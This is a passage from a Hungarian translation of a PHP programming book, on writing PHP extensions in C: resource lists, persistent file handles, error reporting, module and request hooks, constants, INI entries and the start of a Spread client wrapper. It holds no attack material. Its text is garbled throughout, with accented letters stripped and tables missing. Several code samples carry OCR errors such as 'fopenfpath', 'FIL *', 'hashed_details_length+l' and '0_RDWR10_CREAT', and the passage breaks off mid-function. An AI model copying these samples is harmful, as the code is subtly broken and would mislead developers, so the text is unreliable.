erforrsunk mutat egy adatbzis-kapcsolatra, az ld az a fggvny, amely visszaforgatja a vgre nem hajtott tranzakcikat, lezrja a kapcsolatot s felszabadtja a lefoglalt memrit. A nem maradand erforrsok minden krelem vgn megsemmislnek. A zend_rsrc_list_entry adattpus szerkezete gy fest:
typedef struct _zend_rsrc_list_entry { void *ptr; int type; int refcount; } zend_rsrc_list_entry;

21. fejezet A PHP bvtse: I. rsz

567

A pld hasonl az ld-hez, annyi klnbsggel, hogy az elbbi a maradand erforrsokhoz kapcsoldik. Ezek nem semmislnek meg automatikusan egszen a kiszolgl lelltig. Ha a gyakorlatban erforrslistkat jegyznk be, rdemes kln ltrehozni egyet a maradand s egyet a nem maradand erforrsok szmra. Technikailag ez nem felttlenl szksges, de a szoks ezt diktlja, s rendezettebb teszi bvtmnynket. A type_name azonostja a listn szerepl erforrs tpust. Ez a nv csak a hibazenetek ksztsben hasznlatos, semmilyen gyakorlati szerepe nincs az erforrsok kezelsben. A modular_number egy bels azonost az aktulis bvtmny meghatrozshoz. A zend_module_entry egyik eleme a zend_module_entry .module_number, melyet a PHP a bvtmny betltsekor llt be. A module_number a zend_register_list_destructors_ex () fggvnynek tadott negyedik paramter. Amennyiben POSIX fjllert szeretnnk erforrsknt tadni (hasonlkppen az f open PHP 4-beli viselkedshez), ltre kell hoznunk szmra egy megsemmist fggvnyt is, ami egyszeren bezrja a fjllert. Lssuk, milyen fggvnyrl is van sz:
static void posix_fh_dtor(zend_rsrc_list_entry *rsrc TSRMLS_DC) { if (rsrc->ptr) { fclose(rsrc->ptr); rsrc->ptr = NULL; } }

Maga a bejegyzs a PHP_MINIT_FUNCTION () kezelben trtnik meg. Elszr ltrehozunk egy-egy statikus int vltozt minden ltrehozand listhoz, ami azonostja, s amelyen keresztl a ksbbiekben hivatkozhatunk r. Az albbi kdban kt listt hozunk ltre - egy maradandt s egy nem maradandt:
static int non_persist; static int persist; PHP_MINIT_FUNCTION(example) { non_persist = zend_register_list_destructors_ex(posix_fh_dtor, NULL, "non-persistent posix fh", module_number); persist = zend_register_list_destructors_ex(NULL, posix_fh_dtor, "persistent posix fh", module_number); return SUCCESS; }

568

PHP fejleszts felsfokon

Az erforrs bejegyzshez az albbi makrt kell hasznlnunk: ZEND_REGISTER_RESOURCE(zval *rsrc_result, void *ptr, int rsrc_list) Ez egy ptr nev adatmutatt illeszt az rsrc_list listba, visszaadja az j erforrs azonostjt, s hozzrendeli ehhez az rsrc_result zval erforrst. Az rsrc_result rtkt NULL-ra is llthatjuk, amennyiben az azonostt nem egy meglev zval-hoz szeretnnk rendelni. Az albbi fggvny az f open () egy meglehetsen durva modelljt adja, FIL mutatjt maradand erforrsknt jegyezve be:
PHP_FUNCTION(pfopen) { char *path, *mode; int path_length, mode_length; FIL *fh; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &path, &path_length, &mode, &mode_length) == FAILURE) { return; } fh = fopenfpath, mode); if(fh) { ZEND_REGISTER_RESOURCE(return_value, fh, persist); return; } else { RETURN_FALSE; } }

Termszetesen egy olyan fggvny, ami vakon gyrtja a maradand erforrsokat, nem igazn rdekfeszt jelensg. Az igazi az volna, ha utnanzne annak, hogy ltezik-e az adott erforrs, s amennyiben igen, azt venn hasznlatba ahelyett, hogy jat hozna ltre. Az erforrsok keressnek ktfle mdja ismeretes. Elszr is, megkereshetjk az erforrst ltalnos kezdeti paramterei alapjn. A maradand erforrsok esetben itt jelentkeznek a gondok. Ha egy j maradand erforrst szeretnnk ltrehozni, meg kell nzni, ltezik-e ms, hasonlan meghatrozott erforrs. A nehzsg itt persze az, hogy ki kell tallnunk valamilyen, a kezdeti paramtereken alapul kulcs alap hastrendszert, mellyel megtallhatjuk az erforrsokat. Ha ugyanakkor az erforrs rtke egy zval-hoz rendelt, eleve birtokunkban van az azonostja, gy megkeresse (remlhetleg) egyszerbb.

21. fejezet A PHP bvtse: I. rsz

569

Ahhoz, hogy az erforrsokat azonostjuk alapjn megkeressk, szksgnk lesz egy hasttblra s egy kulcsra is. A PHP megadja a hasttblt: a EG (persistent_list) globlis HashTable segtsgvel a kulcs szerint kereshetjk erforrsainkat. A kulcs tekintetben azonban magunkra maradunk. ltalban az erforrsokat egyrtelmen meghatrozzk kezdeti paramtereik, gy jellemz megkzelts, hogy ezeket egyestik, esetleg nvterekkel kiegsztve. Lssuk most a pf open () egy megvalstst, amely egy kapcsolat ltrehozsa eltt utnanz, hogy nincs-e meg az EG (persistent_list)-ben:
PHP_FUNCTION(pfopen) { char *path, *mode; int path_length, mode_length; char *hashed_details; int hashed_details_length; FIL *fh; list_entry *le; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &path, &path_length, &mode, &mode_length) == FAILURE) { return; } hashed_details_length = strlen("example_") + path_length * + mode_length; hashed_details = emalloc(hashed_details_length + 1) ; snprintf(hashed_details, hashed_details_length + 1, "example_%s%s", path, mode); if(zend_hash_find(&EG(persistent_list), hashed_details, hashed_details_length + 1, (void **) &le) == SUCCESS) { if(Z_TYPE_P(le) != persist) { /* nem a mi erforrsunk */ zend_error(E_WARNING, "Not a valid persistent fil handl"); efree(hashed_details); RETURN_FALSE; } fh = le->ptr; } else { fh = fopen(path, mode); if(fh) { list_entry new_le; Z_TYPE(new_le) = persist; new_le.ptr = fh;

570

PHP fejleszts felsfokon

zend_hash_update(&EG(persistent_list), hashed_details, hashed_details_length+l, (void *) &new_le, sizeof(list_entry), NULL); } } efree(hashed_details) ; if(fh) { ZEND_REGISTER_RESOURCE(return_value, fh, persist); return; } RETURN_FALSE; }

j pf open () fggvnynkkel kapcsolatban rdemes szrevennnk a kvetkezket: A new_le vltoz list_entry tpus, ami megegyezik az EG (persistent_list) zend_rsrc_list_entry tpusval. Ez a vlaszts egy knyelmes tpust ad erre a clra. Ellenrizzk, hogy a new_le tpusa erforrslista-azonost. Ez megvd a nevek tkzsbl szrmaz esetleges szegmentcis hibktl, melyek elfordulhatnak, ha ms bvtmny is ugyanazt az elnevezsi rendszert vlasztja (vagy ha gy dntnk, hogy nem alkalmazunk nvtereket a hashed_details karakterlncban). Ha nem egyidej elrhetsg (ahol kt elkszt hvs visszaadhatja ugyanazt az erforrst) vagy maradand erforrsokat hasznlunk, nem kell maradand listban adatokat trolnunk. Az adatok elrse pldnyostsi paramtereik alapjn felesleges nehzsgekkel jr, s csak akkor van r szksg, ha (valsznleg) j erforrst hozunk ltre. A legtbb fggvnyben egy zval erforrslert kapunk, majd ennek alapjn kell megtallnunk magt az erforrst. Szerencsre ez igen egyszer dolog - ha egyetlen listval dolgozunk, hasznlhatjuk az albbi makrt: ZEND_FETCH_RESOURCE(void *rsrc_struct, rsrc_struct_type/ zval **zval_id, int default__id, char *name, int rsrc_list); A ZEND_FETCH_RESOURCE () paramtereinek jelentse a kvetkez: rsrc_struct - A mutat, amelyben az erforrst trolni szeretnnk. rsrc_8truct - Az erforrs szerkezete (pldul FIL *). zval_ld - Egy erforrs tpus zval, amely az erforrs-azonostt tartalmazza. defauflt_id- Egsz rtk, ami meghatrozza, melyik erforrst hasznljuk alaprtelmezs szerint. Leggyakrabban a legutbb elrt erforrs azonostjt helyezik el itt, melyet a bvtmny egy globlis vltozjban troltak. Ha ezutn egy fgg-

21. fejezet A PHP bvtse: I. rsz

571

vny nem kapja meg a kvnt erforrst, a legutbbit hasznlhatja. -1 belltsa esetn nincs ilyen alaprtelmezs. name - Karakterlnc, ami azonostja a keresett erforrst. Gyakorlati szerepet nem jtszik, csak figyelmeztet zenetekben hasznljk. rarc_liBt - A lista, amelyben az erforrst keressk. Ha a keress nem jr sikerrel, figyelmeztet zenetet kapunk, s a fggvny NULL rtkkel tr vissza. Az albbi pf gets () fggvny egy sort olvas be a pf open () ltal ltrehozott fjlerforrsbl.
PHP_FUNCTION(pfgets) { char *out; int length = 1024; zval *rsrc; FIL *fh; if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll", &rsrc, &length) == FAILURE) { return; } ZEND_FETCH_RESOURCE(fh, FIL *, rsrc, -1, "Persistent Fil Handl", persist) ; out = (char *) emalloc(length); fgets(out, length, fh); RETURN_STRING(out, 0); }

Hibk visszaadsa
A hibk visszaadsa a bvtmnyek kdjban csaknem ugyangy folyik, mint a PHP-ben. Itt nem a trigger_error () PHP fggvnyt hasznljuk, hanem a C-beli zend_error () -t. E fggvny az albbi alakban hasznlhat:
zend_error(int hibatpus, char *fmt, . ..);

Itt a hibatpus a 3- fejezetben felsorolt hibk brmelyike lehet. Egybirnt ez az API teljesen hasonl a printf () fggvnycsald tagjaihoz. Az albbi fggvny egy figyelmeztet zenetet ad:
zend_error(E_WARNING, "Ez egy figyelmeztets.");

Ne feledjk, ha az E_ERROR-t alkalmazzuk, a hiba vgzetes, s a program futtatsa megll. (A 23. fejezetben ltjuk majd, hogyan kerlhet meg e viselkeds.)

572

PHP fejleszts felsfokon

Modulhorgok hasznlata
A PHP amellett, hogy lehetv teszi fggvnymeghatrozsok megadst s kivitelt (exportlst), kpess teszi a bvtmnyeket arra is, hogy a PHP bizonyos futsidej esemnyeinek megfelelen kdrszleteket futtassanak. Ilyen esemnyek az albbiak: Modul indtsa Modul kikapcsolsa Krelem kezelsnek indtsa Krelem kezelsnek lezrsa phpinf o bejegyzse

A modulok ksztsnl felttlenl szksges sszetevk egyike a zend_module_entry, amely gy fest:


zend_module_entry example_module_entry = { STANDARD_MODULE_HEADER, "example", example_functions, PHP_MINIT(example), PHP_MSHUTDOWN(example), PHP_RINIT(example), PHP_RSHUTDOWN(example), PHP_MINFO(example), VERSION, STANDARD_MODULE_PROPERTIES };

A szerkezet harmadik tagja, az example_functions egy fggvnyekbl ll tmbt hatroz meg, ami a bvtmny ltal bejegyzett fggvnyeket tartalmazza. A szerkezet tovbbi rszben a visszahvhat fggvnyeket tallhatjuk, melyeket a klnbz modulhorgok futtatnak.
Modulok indtsa s lelltsa

A bvtmny moduljnak indt, illetve kikapcsol horgait a rendszer a modul betltsekor s eltvoltsakor hvja meg. A legtbb bvtmnynl (ahol a modult statikusan belefordtjk a PHP-be, vagy egy INI bellts nyomn tltik be), a modul elksztsre csak egyszer, a kiszolgl indtsakor kerl sor. Hasonlan, a modul kikapcsolsa a kiszolgl kikapcsolsakor kvetkezik be. Az Apache 1.3-ban (vagy az Apache 2 prefork MPM-ben) ezt a horgot a rendszer mg az els gyermekfolyamatok legazsa eltt hvja meg - gy ht nagyszer alkalmunk addik a globlis, illetve osztott erforrsok ltrehozsra, illetve elksztsre, a nem megoszthat erforrsok elksztst azonban hagyjuk mskorra.

21. fejezet A PHP bvtse: I. rsz

573

A modul elksztsi horgt az albbi fggvnnyel jegyezhetjk be:


PHP_MINIT_FUNCTION(example) { return SUCCESS; }

ltalnossgban, a modul elksztse nagyszer alkalmat ad az llandk meghatrozsra, a globlis adatszerkezetek elksztsre, valamint az INI belltsok bejegyzsre s feldolgozsra.
llandk meghatrozsa

Mivel az llandk nem vltoznak a modul hasznlata sorn, mg a modul elksztsnl kell ltrehoznunk ket. A felhasznli PHP kddal szemben, ahol a def ine () nem sokban klnbzik a teljestmny szempontjbl a globlis vltozk alkalmazstl, a bvtmnyek esetben az llandk meghatrozsa egyrtelmen jobb vlaszts. Ennek oka az, hogy a bvtmnyi llandkat (pldul fggvnyeket vagy osztlyokat) nem kell a krelmek kztt jra pldnyostanunk (jllehet, ha ppen erre vgyunk, megsemmisthetjk ket a krelmek vgn). Ez azt jelenti, hogy akr nagy szm lland meghatrozsa sem jr klnsebb kltsggel. Az llandk meghatrozshoz az albbi makrkat hasznlhatjuk:
REGISTER_LONG_CONSTANT(nv, rtk, jelzk) REGISTER_DOUBLE_CONSTANT(neV, rtk, jelzk) REGISTER_STRING_CONSTANT(nv, karakterlnc, jelzk)

REGISTER_STRING_CONSTANT{nv, karakterlnc, karakterlnchossz, jelzk) A lehetsges jelzk a kvetkezk: CONST_CS - Az lland rzkeny a kis- s nagybetk klnbsgre. CONST_PERSISTENT - Az llandnak meg kell maradnia a krelmek kztt. Termszetesen ha llandinkat a modul elksztse sorn hatrozzuk meg, szksg van a CONST_PERSISTENT jelz hasznlatra. Ez egybknt ltalban is ajnlott, hacsak nem szeretnnk valamilyen okbl feltteles meghatrozsokat alkalmazni. A felhasznli PHP kdban szerepl llandk rzkenyek a kis- s nagybetk klnbsgre, gy ha a PHPhez hasonl viselkedshez ragaszkodunk, rdemes a CONST_CS jelzt is hasznlnunk.

574

PHP fejleszts felsfokon

Az albbi plda bemutat bvtmnynk MINIT fggvnyt mutatja, amely kt llandt hatroz meg:
PHP_MINIT_FUNCTION(example) { REGISTER_LONG_CONSTANT("EXAMPLE_VERSION", VERSION, CONST_CS I CONST_PERSISTENT); REGISTER_STRING_CONSTANT("BUILD_DATE", "2004/01/03", CONST_CS | CONST_PERSISTENT); return SUCCESS; } Globlis vltozk hasznlata

A legtbb bvtmny tartalmaz nhny globlis vltozt, amelyek leggyakrabban alaprtelmezett kapcsolati adatokat, globlis erforrsokat, vagy a viselkedst meghatroz adatokat tartalmaznak. A globlis vltozkat knnyen ltrehozhatjuk a Zend makrk segtsge nlkl, de ezek hasznlatval automatikusan szlbiztoss tehetjk ket. Kezdetnek hozzunk ltre egy globlis vltozkat trol szerkezetet a ZEND_BEGIN_M0DULE_GLOBALS s a ZEND_END_MODULE_GLOBALS makrkkal: ZEND_BEGIN_MODULE_GLOBALS(example) char *default_path; int default_fd; zend_bool debug; ZEND_END_MODULE_GLOBALS (example)

E makrk vagy egy egyszer zend_example_globals szerkezetet, vagy tbb szlbiztos struktrt hoznak ltre a fenti elemekkel - attl fggen, hogy a PHP-t szlbiztosan fordtottuk-e. Mivel az eredmnyknt kapott szerkezetek elrse klnbz, feltteles elrt kell alkalmaznunk, amely a szlbiztossg meglte szerint vlasztja meg mdszert: #ifdef ZTS
#define ExampleG(v) TSRMG(example_globals_id, zend_example_globals *, v) #else #define ExampleG(v) (example_globals.v) #endif

A globlis vltozkat mindig az albbi alakban kell elrnnk:


char *path = ExampleG(default_path);

21. fejezet A PHP bvtse: I. rsz

575

Ltre kell hoznunk hozzjuk egy elkszt s egy megsemmist fggvnyt is: static void example_init_globals(zend_example_globals *example_globals)
{

example_globals->default_path = NULL;
}

static void example_destroy_globals(zend_example_globals *example_globals)


{ }

Ezutn az MINIT mkdse sorn a bejegyzst a ZEND_INIT_M0DULE_GL0BALS () makrval vgezhetjk el, az albbiak szerint:
PHP_MINIT_FUNCTION(example) { ZEND_INIT_MODULE_GLOBALS(example, example_init_globals, example_destroy_globals); /* ... */ }

E megsemmist fggvnyt ltalban sszetett adattpusok (pldul hasttblk) jelenltben hasznljk, melyek kirtsre szksg van a kikapcsolskor. Amennyiben nem jegyznk be megsemmist fggvnyt, adjunk t NULL rtket.
INI bejegyzsek feldolgozsa

Az egyik olyan lehetsg, melyet nem vehetnk ignybe a felhasznli kdban, de kihasznlhatunk bvtmnyeinkben, a php. ini fjlban tallhat belltsok bejegyzse s mdostsa. Ezek a belltsok tbb okbl is fontosak lehetnek szmunkra: Globlis belltsokat adnak, amelyek fggetlenek a programoktl. Hozzfrst biztostanak olyan belltsokhoz, amelyekkel eltilthatjuk a fejlesztket attl, hogy egyes INI belltsokat mdostsanak programjaikban. Lehetv teszik olyan modulhorgok belltst is, melyeket a rendszer a programok vgrehajtsa eltt hv meg (ilyen pldul az MINIT vagy az RINIT) A PHP egy csokornyi makrval segti az INI utastsok bejegyzst. Elszr is, a C fjl trzsben el kell helyeznnk egy makrblokkot:
PHP_INI_BEGIN() /* ide kerlnek az ini belltsok */ PHP_INI_END()

576

PHP fejleszts felsfokon Ezzel kapunk egy zend_ini_entry elemekbl ll tmbt, a blokk belsejben pedig az albbi makrval meghatrozhatjuk sajt INI belltsainkat:
STD_PHP_INI_ENTRY(char *ini_directive, char *default_value, int location, int type, struct_member, struct_ptr, struct_property)

Az "ini_directive" az ltalunk ltrehozott INI utasts teljes neve, melyet az esetleges tkzsek elkerlse rdekben rdemes nvterekbe helyezni. Ha a bemutat bvtmnynkben egy enabled belltst szeretnnk ltrehozni, adjuk neki az example. enabled nevet. A default_value az INI bellts alaprtelmezett rtkt hatrozza meg. Mivel ezek a belltsok karakterlncok alakjban szerepelnek a php. ini fjlban, az alaprtelmezett rtket is gy kell tadnunk, mg akkor is, ha valjban egy szmrl van sz. Ezt az rtket a rendszer lemsolja, gyhogy a statikus trfoglals tkletesen megfelel. A location azokat a helyeket hatrozza meg, ahol a felhasznlk mdosthatjk a belltst. A lehetsges rtkek llandknt meghatrozottak, s termszetesen bitenknti OR mveletekkel sszekapcsolhatk. Az albbi llandk hasznlhatk:

A type egy fggvny nevt takarja, amely meghatrozza, miknt kezelje a rendszer az INI belltsok mdostsait (a php. ini, a .htaccess, a httpd. vagy az ini_set () segtsgvel). Az albbiakban a makrban hasznlatos szabvnyos fggvnyeket soroljuk fel:

21. fejezet A PHP bvtse: I. rsz

577

E fggvnyek hasznlata jobbra egyrtelm, az egyetlen megemltend dolog, hogy az OnUpdateStringUnempty hibt jelez, ha res karakterlncot kap - egybknt ugyangy mkdik, mint az OnUpdateString. Az INI rtkek szinte mindig bvtmnyek globlis vltoziba kerlnek. Ennek magyarzata egyszer: az egyedi programok esetben az INI rtkek belltsai globlisak. (Ha meg is vltoztatjuk ket az ini_set () fggvnnyel, mdostsaink globlis rvnyek.) Szlas krnyezetekben az INI rtkek a szlakon belli globlis rtkekbe kerlnek, gy egy INI bellts mdostsa csak az adott szlra hat. Az utols hrom paramterrel azt hatrozhatjuk meg, melyik globlis vltozba helyezzk e belltsokat. A struct_type az rtk trolsra szolgl adatszerkezet tpust adja meg. Normlis esetben, amikor ez egy, a ZEND_BEGIN_MODULE_GLOBALS (example) makrval ltrehozott globlis adatszerkezet, a tpus a zend_example_globals kell legyen. A struct_ptr a struct_type mdostand pldnyt adja meg. Rendesen, ha a globlis vltozkat beptett makrkkal hatrozzuk meg, ennek rtke az example_globals. Vgl a struct_>roperty kijelli, hogy a struct_name mely elemt mdostsuk. Amennyiben egsz rtket lltunk be, az STD_PHP_INI_ENTRY () makrnak durvn az albbi C kd felel meg:
(struct_type *)struct_ptr->struct_property = default_value;

Az albbi plda lehetv teszi a bemutat bvtmnybeli def ault_path globlis vltoz rtknek feltltst az example. path INI bellts alapjn:
PHP_INI_BEGIN() STD_PHP_INI_ENTRY("example.path", NULL, PHP_INI_PERDIRIPHP_INI_SYSTEM, OnUpdateString, default_path, zend_example_globals, example_globals) STD_PHP_INI_ENTRY("example.debug", "off", PHP_INI_ALL, OnUpdateBool, debug, zend_example_globals, example_globals) PHP_INI_END()

Az alaprtelmezett tvonal a NULL, s e vltozhoz csak a php. ini, a httpd. conf s a .htaccess fjlokon keresztl lehet hozzfrni. Mindemellett brhonnan bellthatjuk a debug rtkt, ami alapllapotban off.

578

PHP fejleszts felsfokon

A bejegyzshez az albbiak szerint kell meghvnunk a REGISTER_INI_ENTRIES () makrt az MINIT fggvnyben:


PHP_MINIT_FUNCTION(example) { ZEND_INIT_MODULE_GLOBALS(example, example_init_globals, example_destroy_globals); REGISTER_INI_ENTRIES(); }

Amennyiben a kdban is hozz szeretnnk frni ezekhez az rtkekhez (az ini_get () segtsgvel), szmos makrt hasznlhatunk, melyekkel az INI belltsokat C tpusok alakjban olvassuk ki. Ezek kt csoportra oszthatk - az egyikbe tartozk a belltsok aktulis rtkt adjk meg (lsd a 21.6. tblzatot). 21.6 tblzat Az aktulis INI belltsok elri

A msodik csoportba tartoz makrk (lsd a 21.7. tblzatban) a bellts eredeti rtkt adjk vissza, mg mieltt mdostottk volna a httpd. conf, a .htaccess, vagy az ini_set () segtsgvel. 21.7 tblzat Az eredeti INI belltsok elri

Modulok kikapcsolsa

Ha az MINIT futsa kzben bejegyeztnk nhny INI bejegyzst, a modul kikapcsolsnl ezektl is meg kell szabadulnunk. Ezt az albbiak szerint tehetjk meg:
PHP_MSHUTDOWN_FUNCTION(example) { UNREGISTER_INI_ENTRIES(); }

21. fejezet A PHP bvtse: I. rsz Krelmek indtsa s kikapcsolsa A modulok indtsa s kikapcsolsa mellett a PHP olyan horgokat is rendelkezsnkre bocst, melyeket az egyes krelmek feldolgozsnak indulsakor, illetve befejezsekor hv meg. Az gy kapott RINIT s RSHUTDOWN horgok nagy szolglatot tehetnek a krelmenknti adatok elksztsben s megsemmistsben.
Krelem kezelsnek indtsa

579

Gyakran elfordul, hogy olyan erforrsokat hasznlunk, amelyek minden krelemnl felbukkannak, s llapotuk meghatrozott kell legyen a krelem feldolgozsnak kezdetekor, gy pldul az ExampleG (def ault_path) megfelelhet egy olyan fjlnak, melyet meg kell nyitnunk minden krelem elejn, a vgn pedig bezrnunk (pldul olyankor, ha egy, a bvtmnyhez tartoz naplt kell feldolgoznunk, melynek tvonalt bellthatjuk egy .htaccess fjlban, gy nem igazn rdemes maradand erforrst ksztennk szmra). Ilyenkor minden krelem kezdetekor megksreljk megnyitni a naplt, s amennyiben ez nem sikerl, hibazenettel kilpnk. Az ilyen esetekben vgrehajtand kdot a PHP_RINIT_FUNCTI0N () blokkban helyezhetjk el - ezt hvja majd meg a PHP minden krelem kezdetn. Amennyiben a fggvny nem a SUCCESS rtkkel tr vissza, a krelem feldolgozsa vgzetes hibt jelezve lell. Az albbiakban bemutatjuk, miknt nyithatunk meg egy fjlt minden egyes krelem elejn: PHP_RINIT_FUNCTION(example)
{

if(ExampleG(default_path)) { ExampleG(default_fd) = open(ExampleG(default_path), 0_RDWR10_CREAT, 0) ; if(ExampleG(default_fd) == -1) { return FAILURE; } } return SUCCESS; }
Krelem kezelsnek befejezse

A krelem feldolgozsnak befejezse a legmegfelelbb pillanat arra, hogy bizonyos erforrsokat megsemmistsnk. Itt biztosthatjuk azt is, hogy a bvtmny abba az llapotba kerljn vissza, melyben megkezdheti a kvetkez krelem kezelst. E horognak a PHP_RSHUTDOWN_FUNCTION () felel meg. Az albbi pldban kirtjk bemutat bvtmnynk naplfjljt az egyes krelmek vgn:
PHP_RSHUTDOWN _FUNCTION(example) { if(ExampleG(default_fd) > -1) { close(ExampleG(default_fd)); ExampleG(default_fd) = -1; } return SUCCESS; }

580

PHP fejleszts felsfokon

A bvtmnynek le kell zrnia az RINIT sorn megnyitott ExampleG (def ault_f d) fjllert. Amennyiben nyitva szeretnnk hagyni, elhagyhatjuk ezt a kdot, gy a fjl elrhet marad a tovbbi krelmekben is. Ez azonban nem igazn j tlet, ugyanis belltst a knyvtr alapjn, a .httaccess szablyai segtsgvel elvgezhetjk. Az RINIT-hez hasonlan, ha a fggvny nem a SUCCESS rtkkel tr vissza, a krelem kezelse vgzetes hibval megszakad.
phpinfoO bejegyzs

A PHP bvtmnyek kpesek nmaguk bejegyzsre a phpinf o () segtsgvel, aminek kvetkeztben megjelenthetjk llapotukat s belltsaikat. A PHP_MINF0_FUNCTI0N () fggvnyt a PHP_MINF0 () makrval jegyezhetjk be:
zend_module_entry mysql_module_entry = { STANDARD_MODULE_HEADER, "example", example_functions, PHP_MINIT(example), PHP_MSHUTDOWN(example), PHP_RINIT(example), PHP_RSHUTDOWN(example), PHP_MINFO(example), VERSION, STANDARD_MODULE_PROPERTIES };

A PHP_MINF0_FUNCTI0N () fggvny alapjban vve egy CGI program, amely megjelent bizonyos adatokat - tbbnyire egy HTML tblzatot a fggvny llapotval s belltsi adataival. A kimenet formzsnak megknnytsre, valamint annak rdekben, hogy mind az egyszer szveges, mind a HTML phpinf o () formtumokat tmogathassuk, alkalmazzuk a kimenet ltrehozsra az e clra szolgl beptett fggvnyeket. Az albbiakban bemutatunk egy egyszer MINFO kdot, ami mindssze azt rgzti, hogy bemutat bvtmnynk engedlyezett.
PHP_MINFO_FUNCTION(example) { php_info_print_table_start(); php_info_print_table_row(2, "Example Extension", "enabled"); php_info_print_table_end(); }

A php_inf o_print_table_row () paramterknt az oszlopok szmt, valamint a beljk helyezett karakterlncokat fogadja.

21. fejezet A PHP bvtse: I. rsz

581

Egy plda: a Spread gyfl burkolja


Minden eszkz rendelkezsre ll ahhoz, hogy elksztsnk egy C nyelv eljrskzpont PHP bvtmnyi felletet. Ahhoz, hogy a tanultakat jl tlthassuk, pldnkban a teljessgre kell trekednnk. A 15. fejezetben tallkoztunk egy elosztott gyorstrkezel rendszerrel, melynek alapjul a Spread szolglt. Ez egy olyan kommunikcis eszkzkszlet, amely lehetv teszi, hogy tagjai klnbz csoportokhoz csatlakozzanak, s ezektl zeneteket fogadjanak meghatrozott rendben (ez a rend" pldul azt jelenti, hogy a tagok ugyanolyan sorrendben kapjk meg az zeneteket, mint trsaik). Az alkalmazott szigor szablyok nagyszer mdszert adnak elosztott feladatok megoldsra pldul tbbolvass elosztott naplz rendszerek kiptsre, mester-mester adatbzis-tbbszrzsre, vagy - mint azt a korbbiakban bemutattuk - megbzhat zenetkzbest rendszer sszelltsra. A Spread knyvtr egy igen egyszer C API-t bocst rendelkezsnkre, ami nagyszer lehetsget ad arra, hogy kiprbljuk, miknt is kszthetnk kr PHP bvtmnyt. A C API albbi rszeivel foglalkozunk a kvetkezkben:
int SP_connect( const char *spread_name, const char *private_name, int priority, int group_membership, mailbox *mbox, char *private_group ); SP_disconnect( mailbox mbox ); SP_join( mailbox mbox, const char *group ); SP_multicast( mailbox mbox, service service_type, const char *group,

int int int

int

int

int16 mess_type, int mess_len, const char *mess ); SP_multigroup_multicast( mailbox mbox, service service_type, int num_groups, const char groups[][MAX_GROUP_NAME], int16 mess_type, const scatter *mess ); SP_receive( mailbox mbox, service *service_type, char sender[MAX_GROUP_NAME], int max_groups, int *num_groups, char groups[][MAX_GROUP_NAME], intl6 *mess_type, int *endian_mismatch, int max_mess_len, char *mess );

A fenti fggvnyek az albbi feladatokat vgzik el: 1. 2. 3. 4. 5. 6. Kapcsolds a Spread dmonhoz. Kapcsolat bontsa a Spread dmonnal. Csatlakozs egy csoporthoz hallgatknt. zenet kldse egyetlen csoportnak. zenet kldse tbb csoportnak. zenetek fogadsa attl a csoporttl, ahov tartozunk.

582

PHP fejleszts felsfokon

Clunk, hogy az itt felsoroltak mindegyike szmra PHP fggvnyt ksztsnk - kivtelt csak az SP_multicast () s az SP_multigroup_multicast () kpez, melyeket a PHP gyenge tpusossgnak ksznheten egyetlen fggvnyben egyesthetnk. A Spreaddel kiptett kapcsolatokhoz erforrsokat rendelnk. A PHP osztly ltrehozshoz ksztsk el a szabvnyos vzfjlt:
ext_skel --extname=spread

Az els lpsben gondoskodnunk kell a program erforrs-kezelsrl. Ennek rdekben hozzunk ltre egy statikus listaazonostt (le_pconn), valamint egy close_spread_pconn () nev megsemmist fggvnyt, ami, ha kap egy Spread kapcsolati erforrst, kibnyssza belle a kapcsolatot, s nyomban szt is bontja. Lssuk, hogyan is fest ez a fggvny:
static int le_pconn; static void _close_spread_pconn(zend_rsrc_list_entry *rsrc) { mailbox *mbox = (int *)rsrc->ptr; if(mbox) { SP_disconnect(*mbox); free(mbox); } }

A mailbox tpus, melyet a Spread fejlcfjljaiban hatroztak meg, alapjban vve egy kapcsolatazonost.

MINIT
A modul elksztse sorn fel kell tltennk az le_pconn erforrslistt, s meg kell hatroznunk nhny llandt. Mivel most csak maradand kapcsolatokkal foglalkozunk, mindssze egyetlen megsemmist fggvnyre van szksgnk, a maradand erforrsok szmra:
PHP_MINIT_FUNCTION(spread) { le_pconn = zend_register_list_destructors_ex(NULL, _close_spread_pconn, "spread", module_number); REGISTER_LONG_CONSTANT("SP_LOW_PRIORITY", LOW_PRIORITY, CONST_CSICONST_PERSISTENT); REGISTER_LONG_CONSTANT("SP_MEDIUM_PRIORITY", MEDIUM_PRIORITY, CONST_CSICONST_PERSISTENT); REGISTER_LONG_CONSTANT("SP_HIGH_PRIORITY", HIGH_PRIORITY, CONST_CSICONST_PERSISTENT) ;

21. fejezet A PHP bvtse: I. rsz

583

REGISTER_LONG_CONSTANT("SP_UNRELIABLE_MESS", UNRELIABLE_MESS, CONST_CSICONST_PERSISTENT); REGISTER_LONG_CONSTANT("SP_RELIABLE_MESS", RELIABLE_MESS, CONST_CS|CONST_PERSISTENT); /* ... tovbbi llandk ... */ return SUCCESS; }

Megjegyzs

A maradand kapcsolatok hasznlata egyenes kvetkezmnye az alkalmazott erforrsok tpusnak. A Spread esetben az gyflkapcsolatok ltrejtte a csoport egy esemnye, melynek el kell jutnia minden Spread csomponthoz. Ez nmikpp kltsges, gy van rtelme a maradand kapcsolatokat vlasztani. Msrszrl, a MySQL igencsak knnysly protokollt alkalmaz, ahol a kapcsolatok ltrehozsa olcs. Itt teht eltrbe kerlhetnek a nem maradand kapcsolatok. Persze mi vagyunk a programozk - semmi sem gtol meg abban, hogy akr egyms mellett is alkalmazzuk a kt kapcsolattpust.

MSHUTDOWN
Az egyetlen erforrs, melyet e bvtmny mkdshez fenn kell tartanunk, a maradand erforrslista, ami azonban gyakorlatilag nmagt felgyeli. Kvetkezskppen nincs szksg az MSHUTDOWN horog meghatrozsra.

A modul fggvnyei
Ahhoz, hogy csatlakozni tudjunk a Spreadhez, ltre kell hoznunk egy connect () nev segdfggvnyt, amely fogadja egy Spread dmon nevt (ez lehet egy TCP cm, mint a 10.0.0.1 :NNNN, vagy egy Unix tartomnycsatol, mint a /tmp/NNNN), valamint egy karakterlncot, vagyis a kapcsolat privt nevt (ami globlisan egyedi). A fggvny visszatrsi rtkknt egy kapcsolatot kell adjon - ez lehet egy mr ltez a le_pconn erforrslistrl, vagy egy ltala ltrehozott j kapcsolat. Az albb bemutatott connect () fggvny magra veszi az erforrsok kezelsnek sszes terht:
int connect(char *spread_name, char *private_name) { mailbox *mbox; char private_group[MAX_GROUP_NAME];

584

PHP fejleszts felsfokon

